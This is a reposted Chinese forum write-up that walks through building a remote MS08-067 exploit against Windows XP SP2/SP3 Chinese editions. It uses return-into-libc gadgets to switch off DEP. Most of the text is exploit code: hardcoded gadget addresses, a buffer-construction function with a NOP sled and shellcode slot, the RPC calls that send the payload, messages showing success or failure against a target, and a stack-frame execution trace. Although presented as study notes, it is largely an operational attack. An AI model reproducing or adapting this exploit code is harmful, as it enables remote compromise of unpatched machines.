

MS08-067通用bypass DEP的缓冲区溢出栈帧构造方法的学习

转载

JL2SH 于 2011-03-16 20:30:00 发布 1003 收藏

文章标签: [windows xp](#) [microsoft](#) [制造](#) [null](#) [防火墙](#)

来自于看雪学院

标题: 【原创】MS08-067通用bypass DEP的缓冲区溢出栈帧构造方法的学习

作者: parachaos

时间: 2009-02-09,12:32

链接: <http://bbs.pediy.com/showthread.php?t=81667>

【题目】一种在windows xp sp2 chs 和windows xp sp3 chs 系统中通用的能够bypass DEP的利用MS08-067漏洞缓冲区溢出的栈帧构造方法的学习

【作者】ParaChAos

【前言】由于该漏洞利用的一些关键地址在windows xp的每个版本中都会变动, 为了提高漏洞攻击程序的通用性和溢出的成功率, 在这里讨论了一种在windows xp sp2 chs 和windows xp sp3 chs 系统中通用的栈帧的构造。

我的系统环境如下:

Windows xp sp2 chs netapi32.dll 2600.2976

Windows xp sp3 chs netapi32.dll 2600.5512

本文假定你已经掌握了缓冲区溢出的基础知识, 以及MS08-067的利用方法, 并不做系统性的介绍, 只总结该漏洞利用的关键片段。

【目录】

本文有以下内容:

- 1.bypass dep方法介绍
- 2.关键溢出代码(改自emm的代码)
- 3.关键栈帧的制造
- 4.代码在被溢出方的执行流程

【内容】

1.bypass dep方法介绍

本文主要是针对下面这篇帖子的学习与总结。虽然不知作者是谁, 但还是要表示感谢。

引用自华夏黑客联盟的一篇帖子:

“通过ret-into-libc方法编写通用exp的一个小技巧

ms07029 和ms08067这两个NB漏洞都使用ret-into-libc方法来绕过DEP数据执行保护, 首先来科普下什么是ret-into-libc, 一般的栈溢出控制eip后通过一些op code来跳到栈里执行shellcode, 但是开启了数据执行保护的话, 这种方法就不行了, 那么我们只能控制eip往可以执行的地方跳, 我们只能在可执行的地方找到符合我们要求的指令, 来帮我们干活, 干完活后我们还需要收回控制权, 那么在干活指令后必须有一个ret(n), 这样我们才有可能继续控制流程 跳转到另一个地方去干下一个活, 理论上, 通过构造stack frame也能完成shellcode的功能。但是这只是理论上说, 谁也不会傻到整个shellcode通过stack frame跳来跳去来实现, 一般只是利用这个技巧去执行ZwSetInformationProcess函数来关闭DEP, 然后ret(n)回去用普通的方法执行shellcode。科普完来到正题, 以ms08067为例子, XP上可以通过上述方法来关闭DEP, 但是SP2 CHS和SP3 CHS的跳转地址不一样, 那么如何实现通用呢, 仔细想想如果我们能利用ret-to-libc先跳到一个地址, 假设这个地址在SP2系统上是pop/pop/pop/.../ret, 在SP3系统上是pop/pop/pop/pop/.../ret, 只要SP2和SP3上pop的次数不一致导致ret的时候esp不一致, 那么就可以通过构造stack frame来分别跳转到各自系统的地址。有了这样一个大胆的假设后, 我们需要小心的求证, 随便一搜发现这样的地址很多, 但是符合ms08067的具体情况 不异常的就难找了, 尝试了多个地址后, 功夫不负有心人, 找到了一个符合要求且满足ms08067漏洞的特殊要求的地址, 实现了SP2 CHS和SP3 CHS的Bypass DEP的Exp的通用 (XP其他语言版本可以用类似方法)”

2.关键溢出代码

代码:

```
.....关键跳转地址, 主要用来关DEP

DWORD dwDisableNXSP2 = 0x58FC16E2; //sp2 zwSetInformationProcess//noexecute

DWORD dwDisableNXSP3 = 0x58FC17C2; //sp3 zwSetInformationProcess//noexecute

DWORD dwRetAddrAll = 0x58FC094D; // pop/pop/pop/pop/ret on sp2 chs 或 ret on
sp3 chs

DWORD dwJumpAddrSP3 = 0x7ffa4F54; // jmp esi
```

```

DWORD dwJumpAddrSP2 = 0x7ffa4512; // jmp esp

DWORD dwScratchAddr = 0x00020408; //占位但必须是readable address

.....改自EMM的代码

RpcTryExcept

{

    //NetpwNameCompare(L"LittleWallE",L"123456789",L"123456789",4,0);

//这个数值学自LittleWallE的分析，感谢他详细的分析

//在栈上制造 L'//'，也即 0x5c0x00

    func23(L"parachaos", "/x4c/x00/x10/x20", "/x4c/x00/x10/x20", 4, 0);

    memset(Buff, 0, sizeof(Buff));

    BufLen = MakeBuff(Buff, sizeof(Buff));

    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WaitExit,
(LPVOID) NULL, 0, &dwID);

(DWORD)*(DWORD *)Buff3 = 1;

//NetpwPathCanonicalize(arg_0, (unsigned short *)arg1, (unsigned char
*)arg2, arg3, arg4, (long *)Buff3, 1);

//send buff

func1f(L"EMM!", (wchar_t *)Buff, Buff2, 1000, L"", (DWORD *)Buff3, 1);

}

RpcExcept ( 1 )

{

    status = RpcExceptionCode();

    if(status == 1726)

    {

    }

    else

    {

```

```

printf("RpcExceptionCode() = %u/r/n", status );

return;

}

}

RpcEndExcept

/*
    如果返回信息为: Make SMB Connection error:53或者Make SMB Connection
    error:1219,

```

后面的数字可能是变化的。那么说明该主机没有开机连网或者没有安装 Microsoft 网络的文件和打印机共享协议 或没有启动Server服务，因此无法进行溢出。

还有一种情况是返回信息为:

```

SMB Connect OK!

RpcExceptionCode() = 1722

```

出现这样的情况，溢出失败，对方可能开启了防火墙。

那么最后就是成功的提示信息了:

```

SMB Connect OK!

Send Payload Over!

*/

```

3. 关键栈帧的制造

.....
//EMM 估计的跳转地址，但是在我的机器上略有不同，所以进行了微调
代码:

```

#define    JMPPOINT    "B041" //emm做的地址

int MakeBuff(char *Buff, int BufLen)

{

    int len = 0;

    char tmp[5] = {0};

    int i;

//填充

```

```

for(i = 0; i < BufLen/4; i++)

{

    memset(tmp,0,4);

    sprintf(tmp,"B%03d",i);
/*

    if(memcmp(tmp,JMPPOINT,4) == 0)

    {

        break;

    }
**/

    memcpy(Buff + len,tmp,4);

    len += 4;

}

//写溢出的字符串

memcpy(Buff,L".a//...//NN",13*2);

//my adjust

len -= 6; //微调

for(i = 0; i < 6; i++)

{

    memcpy(Buff + len,&dwScratchAddr,4);//&dwRetAddr,4);

    len += 4;

}

/*

    memcpy(Buff + len,&dwJumpAddr,4);

    len += 4;

*/

//    add jmp addr here

//下面这个顺序基本就是栈中的情况了，低地址在上面

memcpy(Buff + len,&dwRetAddrAll,4); //通用跳转地址，sp2和sp3的pop数量不同

```

```
len += 4;

//is sp3 here
memcpy(Buff + len,&dwDisableNXSP3,4); //sp3的bypass DEP

len += 4;

memcpy(Buff + len, &dwScratchAddr, 4);    ///这里地址要求可读, pop to esi

len += 4;

memcpy(Buff + len, &dwJumpAddrSP3, 4);    //JMP ESI

len += 4;

memcpy(Buff + len, &dwScratchAddr, 4);    //占位

len += 4;

memcpy(Buff + len, &dwDisableNXSP2, 4); //SP2 BYPASS DEP

len += 4;

memset(Buff + len, 0x48, 20); //占位

len += 20;

memcpy(Buff + len, &dwJumpAddrSP2, 4); //sp2 jmp    esp

len += 4;

memset(Buff + len,0x90,0xe);    //nop nop

len += 0xe;

memcpy(Buff + len,sc,sizeof(sc) - 1); //shellcode

len += sizeof(sc) - 1;

memcpy(Buff + len,"EMM!",4); //author's name

len += 4;

memset(Buff + 0x206 * 2,0,2);    //end

return len;
```

```
}
```

4.代码在被溢出方的执行流程

.....
首先来看栈中的快照

低地址在上

刚溢出时:

- 1) L"/NN"
- 2) 某个数量的占位符
- 3) 通用跳转地址
- 4) Sp3 bypass DEP过程地址
- 5) Sp2中Pop到esi的数值
- 6) Sp3中Jmp esi 的地址
- 7) DWORD占位
- 8) Sp2 bypass DEP过程地址
- 9) 20字节占位
- 10) Sp2 jmp esp
- 11) 0xe 个的nop
- 12) Shellcode
- 13)

开始执行:

程序ret到了3)所指的通用跳转地址, 程序执行流程如下:

当在sp2 chs中时, 其内容等价于pop/pop/pop/pop/ret, 其中有一条pop esi, 是我们需要注意控制内容的, 因为在后面执行zwSetInformationProcess 这个函数时, ESI的内容必须可读, 否则会发生异常。

在3) 地址的4个pop后, 执行ret指令跳转到8) 的bypass DEP过程的地址, 调用zwSetInformationProcess关闭DEP, 然后pop, ret n等指令后, 进入10) 的地址执行jmp esp, 就跳进了11) 指向的nop+shellcode中。

/

当在sp3 chs中时, 3) 的内容等价于ret, 转到了4) 的过程关闭DEP, 随后有pop和ret, 进入6) 执行, 在这里esi的值是固定的, 直接指向了shellcode。

/

因为缓冲区溢出的环境要求是很严格的, 差一点都不行, 在实践中攻击的成功率是很低的, 所以在实战中尽力提高漏洞利用程序的健壮性、通用性就显得很必要了。这也正是本文讨论的意义所在。

-----the end-----

以上就是我在学习MS08-067时的一点心得, 与大家分享。谬误之处请大家一定指正。

在此要对一些人表示感谢:

感谢failwest在他的书中深入浅出的讲解, 帮我快速入门。

感谢LittleWallE的十分详实的分析, 特别是他对netapi32.dll内问题函数的逆向分析使我获益良多。

<http://blog.csdn.net/LittleWallE/archive/2009/01/14/3772791.aspx>

感谢EMM@ph4nt0m.org的源代码, 使我对该漏洞利用有了形象的理解。

最后感谢那篇帖子, 使我掌握了关DEP的方法和通用shellcode的编写思路。